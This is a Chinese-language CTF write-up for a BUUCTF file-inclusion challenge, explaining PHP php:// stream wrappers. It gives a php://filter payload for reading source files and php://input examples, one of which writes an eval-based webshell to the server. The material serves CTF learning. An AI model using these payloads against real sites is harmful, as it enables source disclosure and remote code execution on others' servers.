【BUUCTF】ACTF2020 新生赛Include1 write up

原创

今天CTF了吗 于 2022-03-30 18:17:05 发布 2080 收藏
分类专栏： BUUCTF 文章标签： web安全 php

> 查看源代码+抓包都没有发现什么信息，只有这两个东东
>
> <meta charset="utf8">
> Can you find out the flag?
>
> <meta charset="utf8">
> tips

BUT 根据题目include和?file=flag.php就知道是文件包含题了，用php伪协议读取flag.php的内容
payload:file=php://filter/read=convert.base64-encode/resource=flag.php

php:// 协议

可以获取指定文件的源码，但是当它与include函数结合时，php://filter就会被当做php文件执行。所以我们一般对其进行编码，让其不执行。从而导致任意文件读取。

条件
allow_url_fopen:off/on都可以

allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用：
php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码。

说明：
php提供了一些杂项输入/输出 (IO)流，允许访问php输入输出流，错误描述符等

php://input 可以访问请求的原始数据的只读流，在post请求中访问post的data部分，
在enctype="multipart/form-data"的时候无效

php://output 只写的数据流，允许以print和echo 一样的方式写入到输出缓冲流

php://memory和php://temp:是类似文件包装器的数据流，允许读写临时数据，区别是：
php:memory:总是把数据存储在内存中
php://temp 会在内存量达到预定义的限制后存入临时文件中

php://filter 主要用于数据流打开时的筛选过滤应用，对于一体式（all-in one）文件函数非常有用，类似，readfile()、file()和file_get_contents() 在数据流内容读取之前没有机会应用其他过滤器

例子
1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码（针对php文件需要base64编码）
2.php://input + [POST DATA]执行php代码

如http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入权限，还可以写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

POC:
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码（针对php文件需要base64编码）

PHP确实很难理解，对于刚入门来说，看着理解吧，莫强求，大家可以多刷题，题做多了，就理解了┬┬﹏┬┬（我也很伤脑壳）

PHP伪协议建议大家详细的了解了解！！！就酱！